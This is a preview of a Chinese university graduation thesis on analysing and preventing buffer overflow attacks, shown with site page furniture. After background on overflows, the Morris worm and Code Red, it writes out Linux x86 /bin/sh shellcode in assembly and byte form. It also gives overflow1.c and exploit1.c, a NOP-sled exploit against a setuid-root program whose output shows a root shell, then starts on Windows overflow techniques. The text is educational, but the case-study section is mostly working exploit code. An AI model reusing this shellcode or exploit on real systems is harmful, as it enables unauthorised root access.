分析、解决缓存区溢出问题_第1页
分析、解决缓存区溢出问题_第2页
分析、解决缓存区溢出问题_第3页
分析、解决缓存区溢出问题_第4页
分析、解决缓存区溢出问题_第5页
已阅读5页,还剩22页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、南 昌 大 学 毕 业 设 计分析、解决缓存区溢出问题姓名:李荣国学号:99081065学院:计算机与信息学院专业:计算机科学与技术班级:计99(2)班指导老师:薛之昕6目录第1章:缓存区溢出原理分析及其危害第2章:案例分析第1节:在UINX操作系统下的一个缓存区溢出实例分析2.1.1:如何书写一个shell code2.1.2:实现一个shellcode 2.1.3:shellcode的汇编源程序 2.1.4:利用堆栈溢出获得shell 2.1.5:利用堆栈溢出获得root shell 第2节:window系统下的堆栈溢出案例2.2.1:溢出字符串的设计2.2.

2、2:winamp 2.10版的缓冲区漏洞分析2.2.3:实现一个exploit2.2.4:对windows下的buffer overflow总结第3章:解决方案摘要:缓存区溢出,又称堆栈溢出、Buffer Overflow。其基本理是当来自某个程序的输入数据超出程序缓冲区能够处理的长度时会产生溢出,结果不受程序员的控制。当入侵者巧妙地安排代码后,被攻击的服务器还可能执行入侵者指定的程序代码,从而导致攻击者甚至可以获得系统中超级用户的权限。Abstract: Buffer memory area overflows, have another name called storehouse ove

3、rflowing, Buffer Overflow. It pay attention to and will when the data-in from a certain procedure goes beyond the length which can be dealt with in buffering area of procedure produce and overflow basically, The result does not receive the programmer's control . After the invador arranges codes

4、ingeniously , might carry out the procedure code that invadors appointed also server that attack, Cause assailant can get super authority of user in the system.关键字:缓存区溢出,堆栈溢出,缓存区,堆栈,溢出。 Key words: Buffer Overflow,Stack Overflow, Stack Overflow正文:第1章:缓存区溢出原理分析及其危害缓存区溢出,又称堆栈溢出(Buffer Overflow)。这种类型的攻击

5、赫赫有名,频频出现在CERT、SANS、CSI等国际网络安全组织的最具威胁的攻击类型名单内。在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有3种是基于社会工程学的信任关系,2种是缓冲区溢出 在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的;在 Bugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 为了便于理解,我们不妨打个比方。缓冲区溢出好比是将十磅的糖放进一个只能装五磅的容器里。一旦该容器放满了,余下的部分就

6、溢出在柜台和地板上,弄得一团糟。由于计算机程序的编写者写了一些编码,但是这些编码没有对目的区域或缓冲区五磅的容器做适当的检查,看它们是否够大,能否完全装入新的内容十磅的糖,结果可能造成缓冲区溢出的产生。如果打算被放进新地方的数据不适合,溢得到处都是,该数据也会制造很多麻烦。但是,如果缓冲区仅仅溢出,这只是一个问题。到此时为止,它还没有破坏性。当糖溢出时,柜台被盖住。可以把糖擦掉或用吸尘器吸走,还柜台本来面貌。与之相对的是,当缓冲区溢出时,过剩的信息覆盖的是计算机内存中以前的内容。除非这些被覆盖的内容被保存或能够恢复,否则就会永远丢失。在丢失的信息里有能够被程序调用的子程序的列表信息,直到缓冲区

7、溢出发生。另外,给那些子程序的信息参数也丢失了。这意味着程序不能得到足够的信息从子程序返回,以完成它的任务。就像一个人步行穿过沙漠。如果他依赖于他的足迹走回头路,当沙暴来袭抹去了这些痕迹时,他将迷失在沙漠中。这个问题比程序仅仅迷失方向严重多了。入侵者用精心编写的入侵代码(一种恶意程序)使缓冲区溢出,然后告诉程序依据预设的方法处理缓冲区,并且执行。此时的程序已经完全被入侵者操纵了。入侵者经常改编现有的应用程序运行不同的程序。例如,一个入侵者能启动一个新的程序,发送秘密文件(支票本记录,口令文件,或财产清单)给入侵者的电子邮件。这就好像不仅仅是沙暴吹了脚印,而且后来者也会踩出新的脚印,将我们的迷路

8、者领向不同的地方,他自己一无所知的地方。这是一种渗透到系统中的攻击技术,其基本理是当来自某个程序的输入数据超出程序缓冲区能够处理的长度时会产生溢出,结果不受程序员的控制。当入侵者巧妙地安排代码后,被攻击的服务器还可能执行入侵者指定的程序代码,从而导致攻击者甚至可以获得系统中超级用户的权限。比如80年代的Morris“蠕虫”事件导致了当时Internet上1/3的计算机瘫痪,这种入侵方式就是采用了UNIX的Finger服务的一个缓存区溢出的漏洞;2001年的红色代码病毒在短短几个小时内传遍了全球,造成了数十亿美元的损失,也是采用了Windows服务器平台上的IIS服务的一个缓存区溢出漏洞。为什么

9、这种攻击这么多呢?主要原因在于,目前广泛用于系统编程的语言C语言本身的某些函数就存在着一些漏洞,造成了这种漏洞的广泛存在和难以彻底清查。 一般的操作系统都有一个系统调用表,包含指向每个系统调用的内存地址的指针。应用程序对资源的访问、对硬件设备的使用、进程间的通讯都是通过系统调用接口在操作系统内核中实现的。 所有的缓冲区漏洞挖掘程序都基于以下一个假设,即:程序在每次运行时有问题的参数压入栈内的数据地址空间偏移量是一定的(或者相差较小)。如果在程序运行时由操作系统定义并且分配一个随机化的偏移给该应用程序,那么则专为此有缺陷的程序设计的溢出程序在溢出时就会返回一个错误的ret地址,而不能跳转到恶意构

10、造的shellcode下。虽然大部分的缓冲区溢出程序也能提供可调整的offset变量,但由于每次有缺陷的程序运行时都将拥有一个随机化的偏移,因此通过上次不成功的溢出猜测所得到的地址空间和内容并不能来指导修正下次调整的offset。这种攻击之所以可能是由于某些编程语言,商业,系统,共享,开放源代码程序的本质决定的。我们知道,Unix本身以及其上的许多应用程序都是用C语言编写的,C语言不检查缓冲区的边界。在某些情况下,如果用户输入的数据长度超过应用程序给定的缓冲区,就会覆盖其他数据区,包括用户堆栈。这称作“堆栈溢出或缓冲区溢出”。一般情况下,覆盖其他数据区的数据是没有意义的,最多造成应用程序错误,

11、但是,如果输入的数据是经过“黑客”精心设计的,覆盖堆栈的数据恰恰是黑客的入侵程序代码,黑客就获取了程序的控制权。如果该程序恰好是以root运行的,黑客就获得了root权限,然后他就可以编译黑客程序、留下入侵后门等,实施进一步地攻击。按照这种原理进行的黑客入侵就叫做“堆栈溢出攻击”。攻击者通过寻找本身有这种弱点的包含setuid的程序实现堆栈溢出攻击。这种程序可以由任何用户运行,一旦程序运行,就以root权限运行在系统中。攻击者需要知道程序运行时保存的信息在系统中的位置,根据这些信息,攻击者运行程序,输入比系统能够接受的更多的数据。例如,假设系统缓冲区只有20Byte,攻击者输入30byte,就

12、像在桶中装入太多的水,水会溢出流到地上一样,剩余的数据就会进入特定的系统空间。经过精心设计,攻击者就可获得root权限。这种弱点一旦被发现并贴在Internet上供他人使用,这种攻击方式就会一直存在,而且适用于其他类似系统,直到弱点被消除。这种攻击依赖于系统软件的弱点,而且数据溢出后必须进入堆栈的同一位置。80年代著名的“蠕虫”病毒就是利用Unix的login程序的弱点,使用“堆栈溢出”发起攻击的。“红色代码”病毒是一种新型网络病毒,其传播所使用的技术可以充分体现网络时代网络安全与病毒的巧妙结合,将网络蠕虫、计算机病毒、木马程序合为一体,开创了网络病毒传播的新路,可称之为划时代的病毒。如果稍加

13、改造,将是非常致命的病毒,可以完全取得所攻破计算机的所有权限为所欲为,可以盗走机密数据,严重威胁网络安全。该病毒通过微软公司IIS系统漏洞进行感染,它使IIS服务程序处理请求数据包时溢出,导致把此“数据包”当作代码运行,病毒驻留后再次通过此漏洞感染其它服务器。“红色代码”病毒采用了一种叫做"缓存区溢出"的黑客技术,利用网络上使用微软IIS系统的服务器来进行病毒传播。这个蠕虫病毒使用服务器的端口80进行传播,而这个端口正是Web服务器与浏览器进行信息交流的渠道。与其它病毒不同的是,“红色代码”不同于以往的文件型病毒和引导型病毒,并不将病毒信息写入被攻击服务器的硬盘。它只存在于

14、内存,传染时不通过文件这一常规载体,而是借助这个服务器的网络连接攻击其它的服务器,直接从一台电脑内存传到另一台电脑内存。当本地IIS服务程序收到某个来自“红色代码”发送的请求数据包时,由于存在漏洞,导致处理函数的堆栈溢出。当函数返回时,原返回地址已被病毒数据包覆盖,程序运行线跑到病毒数据包中,此时病毒被激活,并运行在IIS服务程序的堆栈中。 第2章:案例分析在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得root shell。第1节:在UINX操作系统下的一个缓存区溢出实例分析 

15、2.1.1:如何书写一个shell codeshellcode.c - - #include <stdio.h> void main()  char *name2; name0 = "/bin/sh" name1 = NULL; execve(name0, name, NULL);  - -  execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argvi(argvn-1=0)的指针数组作为第二个参数,以及(c

16、har*) 0作为第三个参数。 我们来看以看execve的汇编代码: nkl10$ gcc -o shellcode -static shellcode.c nkl10$ gdb shellcode (gdb) disassemble _execve Dump of assembler code for function _execve: 0x80002bc <_execve>: pushl %ebp ; 0x80002bd <_execve+1>: movl %esp,%ebp 上面是函数

17、头。 0x80002bf <_execve+3>: pushl %ebx 保存ebx 0x80002c0 <_execve+4>: movl $0xb,%eax eax=0xb,eax指明第几号系统调用。 0x80002c5 <_execve+9>: movl 0x8(%ebp),%ebx ebp+8是第一个参数"/bin/sh0" 0x80002c8 <_execve+12>: movl 0xc(%ebp),%ecx ebp+12是第二个参数na

18、me数组的地址 0x80002cb <_execve+15>: movl 0x10(%ebp),%edx ebp+16是第三个参数空指针的地址。 name2-1内容为NULL,用来存放返回值。 0x80002ce <_execve+18>: int $0x80 执行0xb号系统调用(execve) 0x80002d0 <_execve+20>: movl %eax,%edx 下面是返回值的处理就没有用了。 0x80002d2 <_execve+22>: testl %

19、edx,%edx 0x80002d4 <_execve+24>: jnl 0x80002e6 <_execve+42> 0x80002d6 <_execve+26>: negl %edx 0x80002d8 <_execve+28>: pushl %edx 0x80002d9 <_execve+29>: call 0x8001a34 <_normal_errno_location> 0x80002de <_execve+34>: popl %edx&#

20、160;0x80002df <_execve+35>: movl %edx,(%eax) 0x80002e1 <_execve+37>: movl $0xffffffff,%eax 0x80002e6 <_execve+42>: popl %ebx 0x80002e7 <_execve+43>: movl %ebp,%esp 0x80002e9 <_execve+45>: popl %ebp 0x80002ea <_execve+46>: ret 0x80002e

21、b <_execve+47>: nop End of assembler dump. 经过以上的分析,可以得到如下的精简指令算法: movl $execve的系统调用号,%eax movl "bin/sh0"的地址,%ebx movl name数组的地址,%ecx movl namen-1的地址,%edx int $0x80 ;执行系统调用(execve)  当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。 可是,如果我们的execve执

22、行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,结束shellcode.c的执行。 我们来看以看exit(0)的汇编代码: (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exi

23、t+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0 0x8000358 <_exit+12>: int $0x80 ;引发系统调用 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 

24、0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. 看来exit(0)的汇编代码更加简单: movl $0x1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0

25、60;int $0x80 ;引发系统调用 。合成的汇编代码为: movl $execve的系统调用号,%eax movl "bin/sh0"的地址,%ebx movl name数组的地址,%ecx movl namen-1的地址,%edx int $0x80 ;执行系统调用(execve) movl $0x1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 int $0x80 ;执行系统调用(exit) 2.1.2:实现一个shellcode&#

26、160;首先我们必须有一个字符串“/bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。 通过JMP和call的结合,黑客们巧妙的解决了这个问题。 - - jmp call的偏移地址 # 2 bytes popl %esi # 1 byte /popl出来的是string的地址。 movl %esi,array-offset(%esi) # 3 bytes /在string+8处构造 name数组, 

27、/name0放 string的地址 movb $0x0,nullbyteoffset(%esi)# 4 bytes /string+7处放0作为string的 /结 尾。 movl $0x0,null-offset(%esi) # 7 bytes /name1放0。 movl $0xb,%eax # 5 bytes /eax=0xb是execve的syscall代码 。 movl %esi,%ebx # 2 bytes /ebx=string的地址 leal array-offset,(%esi),%ecx # 3 byte

28、s /ecx=name数组的开始地址 leal null-offset(%esi),%edx # 3 bytes /edx=name1的地址 int $0x80 # 2 bytes /int 0x80是sys call movl $0x1, %eax # 5 bytes /eax=0x1是exit的syscall代码 movl $0x0, %ebx # 5 bytes /ebx=0是exit的返回值 int $0x80 # 2 bytes /int 0x80是sys call call popl 的偏移地址 # 5 bytes /这里

29、放call,string 的地址就会 作 为返回 /地址压栈。 /bin/sh 字符串 - -  首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字节,构造name数组(两个整数,八个字节)。 2.1.3:shellcode的汇编源程序shellcodeasm.c - - void ma

30、in()  _asm_(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3

31、 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string "/bin/sh" # 8 bytes ");  - -  编译后,用gdb的b/bx 地址命令可以得到十六进制的表示。 下面,写出测试程序如下:(注意,这个test程序是测试shellcode

32、的基本程序) test.c - - char shellcode = "xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00" "x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80" "xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff" "xffx2fx62x69x6ex2fx73x68x00x89xecx5d

33、xc3" void main()  int *ret; ret = (int *)&ret + 2; /ret 等于main()的返回地址 /(2是因为:有pushl ebp ,否则加1就可以了。) (*ret) = (int)shellcode; /修/改main()的返回地址为shellcode的开始地 址。  nkl10$ gcc -o test test.c nkl10$ ./test $ exit nkl10$ - - 我们通过

34、一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。  运行结果,得到了bsh的提示符$,表明成功的开了一个shell。 这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据而不是作为一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码段。  这个shellcode

35、可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,以"0" 为字符串结尾。遇0就结束了写操作。而我的shellcode串中有大量的0字符。因此, 对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有0字符 出现的。 因此,有些指令需要修改一下:  - movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) mov

36、b %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax movb $0xb,%al movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax 最后的shellcode为: - - char shellcode= 00 "xebx1f" /* jmp 0x1f */ 02 "x5e" /* popl %esi */&#

37、160;03 "x89x76x08" /* movl %esi,0x8(%esi) */ 06 "x31xc0" /* xorl %eax,%eax */ 08 "x88x46x07" /* movb %eax,0x7(%esi) */ 0b "x89x46x0c" /* movl %eax,0xc(%esi) */ 0e "xb0x0b" /* movb $0xb,%al */ 10 "x89xf3" /* movl %es

38、i,%ebx */ 12 "x8dx4ex08" /* leal 0x8(%esi),%ecx */ 15 "x8dx56x0c" /* leal 0xc(%esi),%edx */ 18 "xcdx80" /* int $0x80 */ 1a "x31xdb" /* xorl %ebx,%ebx */ 1c "x89xd8" /* movl %ebx,%eax */ 1e "x40" /* inc %eax */&

39、#160;1f "xcdx80" /* int $0x80 */ 21 "xe8xdcxffxffxff" /* call -0x24 */ 26 "/bin/sh" /* .string "/bin/sh" */ - - 2.1.4:利用堆栈溢出获得shell  好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完, 我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。 overflow1

40、.c - - char shellcode = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh" char large_string128; void main()  char buffer96; int i; long

41、 *long_ptr = (long *) large_string; for (i = 0; i < 32; i+)  *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i+)  large_stringi = shellcodei; strcpy(buffer,large_string);  - - 在执行完strcpy后,堆栈内容如下所示: 内存底部 内存顶部 buffer EBP r

42、et <- SSS.SSSA A A A.A &buffer 栈顶部 堆栈底部 注:S表示shellcode,A表示shellcode的地址。  这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们的shellcode。 2.1.5:利用堆栈溢出获得root shell  现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们 将面对 一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。  回

43、想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的 strcpy 函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的 开始地 址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的 shellcode,从而我们得到了一个shell。  当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件 事:  1:把我们的shellcode提供给他,让他可以访问shellcode。  2:

44、修改他的返回地址为shellcode的入口地址。  为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer 的地址。 因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开 始地址 ,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。  我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是 相同的 。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程 序堆栈&#

45、160;的开始地址。  下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax 寄存器 里面): - - unsigned long get_sp(void)  _asm_("movl %esp,%eax");  - -  我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自 己 写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是 几K 左右。所以,这个b

46、uffer与上面得到的堆栈地址,相差就在几K之间。  显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。  前面我们用来覆盖堆栈的溢出字符串为: SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 现在,为了提高命中率,我们对他进行如下改进: 用来溢出的字符串变为: NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA 其中:  N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器

47、上, NOP指令的机器码为0x90。 S为shellcode。 A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到 S. 这个改进大大提高了猜测的命中率,有时几乎可以一次命中。  好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到 shell的程序: exploit1.c - - #include<stdio.h> #include<stdlib.h> #define OFFSE

48、T 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode= "xebx1f" /* jmp 0x1f */ "x5e" /* popl %esi */ "x89x76x08" /* movl %esi,0x8(%esi) */ "x31xc0" /* xorl %eax,%eax */ "x88x46x07"

49、 /* movb %eax,0x7(%esi) */ "x89x46x0c" /* movl %eax,0xc(%esi) */ "xb0x0b" /* movb $0xb,%al */ "x89xf3" /* movl %esi,%ebx */ "x8dx4ex08" /* leal 0x8(%esi),%ecx */ "x8dx56x0c" /* leal 0xc(%esi),%edx */ "xcdx80" /

50、* int $0x80 */ "x31xdb" /* xorl %ebx,%ebx */ "x89xd8" /* movl %ebx,%eax */ "x40" /* inc %eax */ "xcdx80" /* int $0x80 */ "xe8xdcxffxffxff" /* call -0x24 */ "/bin/sh" /* .string "/bin/sh" */ unsig

51、ned long get_sp(void)  _asm_("movl %esp,%eax");  main(int argc,char *argv)  char buffRET_POSITION+RANGE+1,*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv

52、1); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) *(long *)&(buffi)=addr; for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i+) buffi=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i+) *(ptr+)=shellcodei; buf

53、fbsize-1="0" /现在buff的内容为 /NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA0 printf("Jump to 0x%08xn",addr); execl("./vulnerable1","vulnerable1",buff,0);  - - execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串, 作为./vulner

54、able1的参数提供。 以下是执行的结果: - - nkl10$ ls -l vulnerable1 -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1* nkl10$ ls -l exploit1 -rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1* nkl10$ ./exploit1 Jump to 0xbfffec64 Segmentation fault nkl10$ .

55、/exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# - - 好了,现在获得了root shell。  第2节:window系统下的堆栈溢出案例 在windows系统下如何获得一次堆栈溢出,如何计算偏移地址,以及如何编写一个shellcode以得到dos。2.2.1:溢出字符串的设计 大家知道windows系统的用户进程空间是0-2G,操作系统所占的为2-4G。事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址和堆栈指针都会

56、含有0,那么我们的返回地址就必然含有0。 现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确的放在确切的函数堆栈中的ret位置。 其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充(实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖! 所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓冲区溢出发生之后,堆栈的布局如下: 内存底部 内存顶部b

57、uffer EBP ret <- NNNNNNNNNNNN A SSSS&buffer 堆栈顶部 堆栈底部 看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调用。但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断,根本无法到shellcode。我们需要把A改成不包含0的地址。好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode,又可以不含0字节呢? 大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧?他在99年的Phrack Magzine55.15

58、上提出了使用系统核心dll中的指令来完成跳转的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新的windows缓冲区溢出的思路。 思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话A里面必然含有0。我们知道系统核心的dll都是在24G,也就是从0x80000000到0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。因此,我们可以令返回地址A等于一个系统核心dll中的指令的地址,这个指令的作用就是call/jmp 我们的shellcode。 但是他怎么才能知道我们的shellcode的地址呢? 答案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息。比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,shellcode的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用call ebp+4或者我们假设敌人

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论